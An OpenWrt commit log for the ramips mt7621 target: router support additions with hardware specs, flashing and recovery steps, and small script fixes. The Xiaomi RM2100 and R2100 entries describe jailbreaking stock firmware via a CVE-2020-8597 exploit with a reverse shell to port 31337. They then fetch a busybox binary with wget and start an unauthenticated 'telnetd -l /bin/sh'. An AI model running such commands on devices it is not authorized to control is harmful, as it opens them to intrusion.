Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> [remove chosen node, fix whitespace] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: fix network setup for Ubiquiti ER-X/ER-X-SFPNelson Cai2020-07-201-2/+2
| | | | | | | | | | | | The function name ucidef_set_interface_lan_wan does not exist, use the proper name by adding an "s" and thereby fix network setup on these devices. Fixes: 22468cc40c8b (ramips: erx and erx-sfp: fix missing WAN interface) Signed-off-by: Nelson Cai <niphor@gmail.com> [commit message/title facelift] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for D-Link DIR-867/DIR-882 A1Mateus B. Cassiano2020-07-161-1/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch adds support for D-Link DIR-867 A1 and D-Link DIR-882 A1. Given the similarity of these devices, this patch also introduces a common DTS shared between DIR-867 A1, DIR-878 A1 and DIR-882 A1. Specifications: * Board: AP-MTKH7-0002 * SoC: MediaTek MT7621AT * RAM: 128 MB (DDR3) * Flash: 16 MB (SPI NOR) * WiFi: MediaTek MT7615N (x2) * Switch: 1 WAN, 4 LAN (Gigabit) * Ports: 1 USB 2.0, 1 USB 3.0 * Buttons: Reset, WiFi Toggle, WPS * LEDs: Power (green/orange), Internet (green/orange), WiFi 2.4G (green), WiFi 5G (green), USB 2.0 (green), USB 3.0 (green) Notes: * WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips * DIR-867 wireless chips are limited to 3x3 streams at hardware level * USB ports and related LEDs available only on DIR-882 Serial port: * Parameters: 57600, 8N1 * Location: J1 header (close to the Reset, WiFi and WPS buttons) * Pinout: 1 - VCC 2 - RXD 3 - TXD 4 - GND Installation: * D-Link Recovery GUI: power down the router, press and hold the reset button, then re-plug it. Keep the reset button pressed until the power LED starts flashing orange, manually assign a static IP address under the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1 * Some modern browsers may have problems flashing via the Recovery GUI, if that occurs consider uploading the firmware through cURL: curl -v -i -F "firmware=@file.bin" 192.168.0.1 Signed-off-by: Mateus B. Cassiano <mbc07@live.com> [move DEVICE_VARIANT to individual definitions] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for Linksys EA7300 v1Santiago Rodriguez-Papa2020-07-165-0/+5
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specifications: * SoC: MediaTek MT7621A (880 MHz 2c/4t) * RAM: Nanya NT5CC128M16IP-DIT (256M DDR3-1600) * Flash: Macronix MX30LF1G18AC-TI (128M NAND) * Eth: MediaTek MT7621A (10/100/1000 Mbps x5) * Radio: MT7615N (2.4 GHz & 5 GHz) 4 antennae: 1 internal and 3 non-deatachable * USB: 3.0 (x1) * LEDs: White (x1 logo) Green (x6 eth + wps) Orange (x5, hardware-bound) * Buttons: Reset (x1) WPS (x1) Everything works! Been running it for a couple weeks now and haven't had any problems. Please let me know if you run into any. Installation: Flash factory image through GUI. This might fail due to the A/B nature of this device. When flashing, OEM firmware writes over the non-booted partition. If booted from 'A', flashing over 'B' won't work. To get around this, you should flash the OEM image over itself. This will then boot the router from 'B' and allow you to flash OpenWRT without problems. Reverting to factory firmware: Hard-reset the router three times to force it to boot from 'B.' This is where the stock firmware resides. To remove any traces of OpenWRT from your router simply flash the OEM image at this point. Signed-off-by: Santiago Rodriguez-Papa <contact@rodsan.dev> [use v1 only, minor DTS adjustments, use LINKSYS_HWNAME and add it to DEVICE_VARS, wrap DEVICE_PACKAGES, adjust commit message/title] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for D-Link DIR-878 A1Mathieu Martin-Borret2020-07-131-1/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specifications: SoC: MT7621AT RAM: 128MB Flash: 16MB NOR SPI flash WiFi: MT7615N (2.4GHz) and MT7615N (5Ghz) LAN: 5x1000M Firmware layout is Uboot with extra 96 bytes in header Base PCB is AP-MTKH7-0002 LEDs Power Green,Power Orange,Internet Green,Internet Orange LEDs "2.4G" Green & "5G" Green connected directly to wifi module Buttons Reset,WPS,WIFI Flashing instructions: Upload image via emergency recovery mode Push and hold reset button (on the back of the device) until power led starts flashing (about 10 secs or so) while powering the device on. Give it ~30 seconds, to boot the recovery mode GUI Connect your client computer to LAN1 of the device Set your client IP address manually to 192.168.0.2 / 255.255.255.0. Call the recovery page for the device at http://192.168.0.1 Use the provided emergency web GUI to upload and flash a new firmware to the device. Some browsers/OS combinations are known not to work, so if you don't see the percentage complete displayed and moving within a few seconds, restart the procedure from scratch and try anoher one, or try the command line way. Alternative method using command line on Linux: curl -v -i -F "firmware=@openwrt-xxxx-squashfs-factory.bin" 192.168.0.1 Signed-off-by: Mathieu Martin-Borret <mathieu.mb@protonmail.com> [use of generic uimage-padhdr in image generation code] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* ramips: mt7621: refactor set affinity scriptDENG Qingfang2020-07-111-19/+7
| | | | | | | | The current one only looks for mt76x2e and mt7603e, and does not work for 2 or more same Wi-Fi chips. Refactor the script to cover those cases. Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
* ramips: add support for ZyXEL WAP6805 (Altibox WiFi+)Bjørn Mork2020-07-083-0/+16
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Hardware -------- SoC: MediaTek MT7621ST WiFi: MediaTek MT7603 Quantenna QT3840BC Flash: 128M NAND RAM: 64M LED: Dual colour red and green BTN: Reset WPS Eth: 4 x 10/100/1000 connected to MT7621 internal switch MT7621 RGMII port connected to Quantenna module GPIO: Power/reset of Quantenna module Quantenna module ---------------- The Quantenna QT3840BC (or QV840) is a separate SoC running another Linux installation. It is mounted on a wide mini-PCIe form factor module, but is connected to the RGMII port of the MT7621. It loads both a second uboot stage and an os image from the MT7621 using tftp. The module is configured using Quantenna specific RPC calls over IP, using 802.1q over the RGMII link to support multiple SSIDs. There is no support for using this module as a WiFi device in OpenWrt. A package with basic firmware and management tools is being prepared. Serial ports ------------ Two serial ports with headers: RRJ1 - 115200 8N1 - Connected to the Quantenna console J1 - 57600 8N1 - Connected to the MT7621 console Both share pinout with many other Zyxel/Mitrastar devices: 1 - NC (VDD) 2 - TX 3 - RX 4 - NC (no pin) 5 - GND Dual system partitions ---------------------- The vendor firmware and boot loader use a dual partition scheme storing a counter in the header of each partition. The partition with the highest number will be selected for boot. OpenWrt does not support this scheme and will always use the first OS partition. It will reset both counters to zero the first time sysupgrade is run, making sure the first partition is selected by the boot loader. Installation from vendor firmware --------------------------------- 1. Run a DHCP server. The WAP6805 is configured as a client device and does not have a default static IP address. Make a note of which address it is assigned 2. tftp the OpenWrt initramfs-kernel.bin image to this address. Wait for the WAP6805 to reboot. 3. ssh to the OpenWrt initramfs system on 192.168.1.1. Make a backup of all mtd partitions now. The last used OEM image is still present in either "Kernel" or "Kernel2" at this point, and can be restored later if you save a copy. 4. sysupgrade to the OpenWrt sysupgrade.bin image. Installation from U-Boot ------------------------ This requires serial console access 1. Copy the OpenWrt initramfs-kernel.bin image as "ras.bin" to your tftp server directory. Configure the server address as 192.168.0.33/24 2. Hit ESC when the message "Hit ESC key to stop autoboot" appears 3. Type "ATGU" + Enter, and then "2" immediately after pressing enter. 4. Answer Y to the question "Erase Linux in Flash then burn new one. Are you sure?", and answer the address/filename questions. Defaults: Input device IP (192.168.0.2) Input server IP (192.168.0.33) Input Linux Kernel filename ("ras.bin") 5. Wait until after you see the message "Done!" and power cycle the device. It will hang after flashing. 6. Continue with step 3 and 4 from the vendor firmware procedure. Notes on the WAP6805 U-Boot --------------------------- The bootloader has been modified with both ZyXELs zyloader and the device specific dual partition scheme. These changes appear to have broken a few things. The zyloader shell claims to support a number of ZyXEL AT commands, but not all of them work. The image selection scheme is unreliable and inconsistent. A limited U-Boot menu is available - and used by the above U-Boot install procedure. But direct booting into an uploaded image does not work, neither with ram nor with flash. Flashing works, but requires a hard reset after it is finished. Reverting to OEM firmware ------------------------- The OEM firmware can be restored by using mtd write from OpenWrt, flashing it to the "Kernel" partition. E.g. ssh root@192.168.1.1 "mtd -r -e Kernel write - Kernel" < oem.bin OEM firmwares for the WAP6805 are not avaible for public download, so a backup of the original installation is required. See above. Alternatively, firmware for the WAP6806 (Armor X1) may be used. This is exactly the same hardware. But the branding features do obviously differ. LED controller -------------- Hardware implementation is unknown. The dual-color LED is controlled by 3 GPIOs: 4: red 7: blinking green 13: green Enabling both red and green makes the LED appear yellow. The boot loader enables hardware blinking, causing the green LED to blink slowly on power-on, until the OpenWrt boot mode starts a faster software blink. Signed-off-by: Bjørn Mork <bjorn@mork.no> [fix alphabetic sorting for image build statement] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* ramips: Add support for Xiaomi Mi Router(Black,R2100)Emir Efe Kucuk2020-07-083-0/+5
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Xiaomi Mi Router AC2100 is a *black* cylindrical router that shares many characteristics (apart from its looks and the GPIO ports) with the 6-antenna *white* "Xiaomi Redmi Router AC2100" See the visual comparison of the two routers here: https://github.com/emirefek/openwrt-R2100/raw/imgcdn/rm2100-r2100.jpg Specification of R2100: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN in Yellow and Blue - UART: On board (Don't know where is should be confirmed by anybody else) - Modified u-boot Hacking of official firmware process is same at both RM2100 and R2100. Thanks to @namidairo Here is the detailed guide Hack: https://github.com/impulse/ac2100-openwrt-guide Guide is written for MacOS but it will work at linux. needed packages: python3(with scapy), netcat, http server, telnet client 1. Run PPPoE&exploit to get nc and wget busybox, get telnet and wget firmware 2. mtd write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-rootfs0.bin rootfs0 other than these I specified in here. Everything is same with: https://github.com/openwrt/openwrt/commit/f3792690c4f0567a8965d82898295b9d50c3bb7e Thanks for all community and especially for this device: @Ilyas @scp07 @namidairo @Percy @thorsten97 @impulse (names@forum.openwrt.com) MAC Locations: WAN *:b5 = factory 0xe006 LAN *:b6 = factory 0xe000 WIFI 5ghz *:b8 = factory 0x8004 WIFI 2.4ghz *:b7 = factory 0x0004 Signed-off-by: Emir Efe Kucuk <emirefek@gmail.com> [refactored common image bits into Device/xiaomi-ac2100, fixed From:] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* ramips: add support for Edimax Gemini RE23SDavide Fioravanti2020-07-081-9/+10
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 128MB FLASH: 16MB NOR (Macronix MX25L12805D) ETH: 1x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615 (4x4:4) - 5GHz: 1x MT7615 (4x4:4) - 4 antennas: 2 external detachable and 2 internal BTN: - 1x Reset button - 1x WPS button LEDS: - 1x Green led (Power) - 1x Green-Amber-Red led (Wifi) UART: - 57600-8-N-1 Everything works correctly. Installation ------------ Flash the factory image directly from OEM web interface. (You can login using these credentials: admin/1234) Restore OEM Firmware -------------------- Flash the OEM "bin" firmware directly from LUCI. The firmware is downloadable from the OEM web page. Warning: Remember to not keep settings! Warning2: Remember to force the flash. Restoring procedure tested with RE23_1.08.bin MAC addresses ------------- factory 0x4 *:24 factory 0x8004 *:25 Cimage 0x07 *:24 Cimage 0x0D *:24 Cimage 0x13 *:24 Cimage 0x19 *:25 No other addresses were found in factory partition. Since the label contains both the 2.4GHz and 5GHz mac address I decided to set the 5GHz one as label-mac-device. Moreover it also corresponds to the lan mac address. Notes ----- The wifi led in the OEM firmware changes colour depending on the signal strength. This can be done in OpenWrt but just for one interface. So for now will not be any default action for this led. If you want to open the case, pay attention to the antenna placed on the bottom part of the front cover. The wire is a bit short and it breaks easily. (I broke it) Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> [fix two typos and add extended MAC address section to commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: use WiFi LED DT triggers for TP-Link RE650 v1Adrian Schmutzler2020-07-071-3/+3
| | | | | | | | | | | | This moves WiFi LED triggers from 01_leds to device tree. While at it, convert the labels there to lower case; this is more commonly used and the change will actually remove competition between DT trigger and leftover uci config on already installed systems. Suggested-by: Georgi Vlaev <georgi.vlaev@gmail.com> Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for TP-Link RE500 v1Christoph Krapp2020-07-072-0/+5
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This device uses the same hardware as RE650 v1 which got supported in 8c51dde. Hardware specification: - SoC 880 MHz - MediaTek MT7621AT - 128 MB of DDR3 RAM - 16 MB - Winbond 25Q128FVSG - 4T4R 2.4 GHz - MediaTek MT7615E - 4T4R 5 GHz - MediaTek MT7615E - 1x 1 Gbps Ethernet - MT7621AT integrated - 7x LEDs (Power, 2G, 5G, WPS(x2), Lan(x2)) - 4x buttons (Reset, Power, WPS, LED) - UART header (J1) - 2:GND, 3:RX, 4:TX Serial console @ 57600,8n1 Flash instructions: Upload openwrt-ramips-mt7621-tplink_re500-v1-squashfs-factory.bin from the RE500 web interface. TFTP recovery to stock firmware: Unfortunately, I can't find an easy way to recover the RE without opening the device and using modified binaries. The TFTP upload will only work if selected from u-boot, which means you have to open the device and attach to the serial console. The TFTP update procedure does *not* accept the published vendor firmware binaries. However, it allows to flash kernel + rootfs binaries, and this works if you have a backup of the original contents of the flash. It's probably possible to create special image out of the vendor binaries and use that as recovery image. Signed-off-by: Christoph Krapp <achterin@googlemail.com> [remove dts-v1 in DTSI, do not touch WiFi LEDs for RE650, keep state_default in DTS files, fix label-mac-device, use lower case for WiFi LEDs] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for NETGEAR WAC124Jan Hoffmann2020-06-272-0/+2
| | | | | | | | | | | | | | | | | | | | | The WAC124 hardware appears to be identical to R6260/R6350/R6850. SoC: MediaTek MT7621AT RAM: 128M DDR3 FLASH: 128M NAND (Macronix MX30LF1G18AC) WiFI: MediaTek MT7603 bgn 2T2R MediaTek MT7615 nac 4T4R ETH: SoC Integrated Gigabit Switch (1x WAN, 4x LAN) USB: 1x USB 2.0 BTN: Reset, WPS LED: Power, Internet, WiFi, USB (all green) Installation: The factory image can be flashed from the stock firmware web interface or using nmrpflash. With nmrpflash it is also possible to revert to stock firmware. Signed-off-by: Jan Hoffmann <jan@3e8.eu>
* treewide: drop shebang from non-executable target filesAdrian Schmutzler2020-06-162-4/+0
| | | | | | | | | | | | | | This drops the shebang from all target files for /lib and /etc/uci-defaults folders, as these are sourced and the shebang is useless. While at it, fix the executable flag on a few of these files. This does not touch ar71xx, as this target is just used for backporting now and applying cosmetic changes would just complicate things. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: fix IPv4-only corner case in 01_enable_packet_steeringAdrian Schmutzler2020-06-151-0/+1
| | | | | | | | | | | | | | | | The uci config section network.globals set up in /bin/config_generate will only be created if /proc/sys/net/ipv6 exists. Correspondingly, lacking IPv6 support, the command uci set network.globals.packet_steering=1 will fail with "uci: Invalid argument" as the network.globals config has not been set up. Fix that by adding the setup there as well. Fixes: dfd62e575c6c ("ramips: enable packet steering by default on mt7621") Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7621: add support for NETGEAR WAC104Pawel Dembicki2020-06-122-1/+3
| | | | | | | | | | | | | | | | | | | | | | | | NETGEAR WAC104 is an AP based on castrated R6220, without WAN port and USB. SoC: MediaTek MT7621ST RAM: 128M DDR3 FLASH: 128M NAND WiFi: MediaTek MT7612EN an+ac MediaTek MT7603EN bgn ETH: MediaTek MT7621ST (4x LAN) BTN: 1x Connect (WPS), 1x WLAN, 1x Reset LED: 7x (3x GPIO controlled) Installation: Login to netgear webinterface and flash factory.img Back to stock: Use nmrpflash to revert stock image. Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
* ramips: limit uci commit to the changed config fileAdrian Schmutzler2020-06-111-1/+1
| | | | | | | Since 01_enable_packet_steering only touches the network config, limit the uci commit to this as well. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: enable packet steering by default on mt7621Felix Fietkau2020-06-101-0/+4
| | | | | | | It provides a significant performance boost, especially with flow offloading enabled Signed-off-by: Felix Fietkau <nbd@nbd.name>
* ramips: erx and erx-sfp: fix missing WAN interfacePerry Melange2020-06-091-2/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This partially reverts commit 5acd1ed0be0d ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses"), this change was discussed in https://github.com/openwrt/openwrt/pull/2901#discussion_r407238452 With commit 5acd1ed0be0d ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses"), all the ports were put into the LAN bridge, with the argument that the OEM firmware does not have a WAN port enabled. In the default OEM setup, all of the ports except eth0 are dead and eth0 is set to a static IP address without providing DHCP services when connected. It is only after the wizard has been run that eth0 becomes the WAN port and all the rest of the ports belong to LAN with DHCP enabled. Having all of the ports set to the LAN bridge does not mirror the default OEM setup. To accomplish that, then only eth0 would be in the LAN bridge. But this is not the expected behaviour of OpenWrt. Therefore this proposal to set eth0 to WAN and eth1-N to LAN provides the expected behaviour expected from OpenWrt, maintains the current documentation as up-to-date, and does not require the user to manually detach eth0 from the LAN bridge, create the WAN(6) interface(s), and set eth0 to the WAN(6) interface(s). Fixes: 5acd1ed0be0d ("ramips: mt7621: fix Ubiquiti ER-X ports names and MAC addresses") Signed-off-by: Perry Melange <isprotejesvalkata@gmail.com> [commit subject and description tweaks] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* ramips: fix 04_led_migration case syntax for mt7621Russell Senior2020-05-231-1/+3
| | | | | | | | | | | | | Commit f761f4052c4 had bogus case syntax, the uci-defaults script threw errors as a result and exited non-zero, probably didn't do what was intended, but tried over and over since the non-zero exit prevents the script from being deleted. Fixes: f761f4052c41 ("ramips: mt7621: harmonize naming scheme for Mikrotik") Signed-off-by: Russell Senior <russell@personaltelco.net> [extend commit title, add Fixes] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)Richard Huynh2020-05-203-2/+7
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>
* ramips: add support for Linksys EA7500 v2Davide Fioravanti2020-05-175-0/+34
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Linksys EA7500 v2 is advertised as AC1900, but its internal hardware is AC2600 capable. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 256M (Nanya NT5CC128M16IP-DI) FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI) ETH: 5x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615N (4x4:4) - 5GHz: 1x MT7615N (4x4:4) - 4 antennas: 3 external detachable antennas and 1 internal USB: - 1x USB 3.0 - 1x USB 2.0 BTN: - 1x Reset button - 1x WPS button LEDS: - 1x White led (Power) - 6x Green leds (link lan1-lan4, link wan, wps) - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable) Everything works correctly. Installation ------------ The “factory” openwrt image can be flashed directly from OEM stock firmware. After the flash the router will reboot automatically. However, due to the dual boot system, the first installation could fail (if you want to know why, read the footnotes). If the flash succeed and you can reach OpenWrt through the web interface or ssh, you are done. Otherwise the router will try to boot 3 times and then will automatically boot the OEM firmware (don’t turn off the router. Simply wait and try to reach the router through the web interface every now and then, it will take few minutes). After this, you should be back in the OEM firmware. Now you have to flash the OEM Firmware over itself using the OEM web interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img downloaded from the Linksys website). When the router reboots flash the “factory” OpenWrt image and this time it should work. After the OpenWrt installation you have to use the sysupgrade image for future updates. Restore OEM Firmware -------------------- After the OpenWrt flash, the OEM firmware is still stored in the second partition thanks to the dual boot system. You can switch from OpenWrt to OEM firmware and vice-versa failing the boot 3 times in a row: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware If you want to completely remove OpenWrt from your router, switch to the OEM firmware and then flash OEM firmware from the web interface as a normal update. This procedure will overwrite the OpenWrt partition. Footnotes --------- The Linksys EA7500-v2 has a dual boot system to avoid bricks. This system works using 2 pair of partitions: 1) "kernel" and "rootfs" 2) "alt_kernel" and "alt_rootfs". After 3 failed boot attempts, the bootloader tries to boot the other pair of partitions and so on. This system is managed by the bootloader, which writes a bootcount in the s_env partition, and if successfully booted, the system add a "zero-bootcount" after the previous value. A system update performed from OEM firmware, writes the firmware on the other pair of partitions and sets the bootloader to boot the new pair of partitions editing the “boot_part” variable in the bootloader vars. Effectively it's a quick and safe system to switch the selected boot partition. Another way to switch the boot partition is: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware In this OpenWrt port, this dual boot system is partially working because the bootloader sets the right rootfs partition in the cmdline but unfortunately OpenWrt for ramips platform overwrites the cmdline so is not possible to detect the right rootfs partition. Because all of this, I preferred to simply use the first pair of partitions and set read-only the other pair. However this solution is not optimal because is not possible to know without opening the case which is the current booted partition. Let’s take for example a router booting the OEM firmware from the first pair of partitions. If we flash the OpenWrt image, it will be written on the second pair. In this situation the router will bootloop 3 times and then will automatically come back to the first pair of partitions containg the OEM firmware. In this situation, to flash OpenWrt correctly is necessary to switch the booting partition, flashing again the OEM firmware over itself. At this point the OEM firmware is on both pair of partitions but the current booted pair is the second one. Now, flashing the OpenWrt factory image will write the firmware on the first pair and then will boot correctly. If this limitation in the ramips platform about the cmdline will be fixed, the dual boot system can also be implemented in OpenWrt with almost no effort. Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> Co-Developed-by: Jackson Lim <jackcolentern@gmail.com> Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
* ramips/mt7621: mikrotik: don't use mtd-mac-address in DTSThibaut VARÈNE2020-05-081-1/+4
| | | | | | | | | | | | | As evidenced here[1] the device MAC address can be stored at a random offset in the hard_config partition. Rely on sysfs to update the MAC address correctly. Adjust config so that WAN is base MAC and LAN is base MAC +1 to better match label and vendor OS. [1] https://github.com/openwrt/openwrt/pull/2850#issuecomment-610809021 Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
* ramips/mt7621: enable mikrotik platform driverThibaut VARÈNE2020-05-081-0/+2
| | | | Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>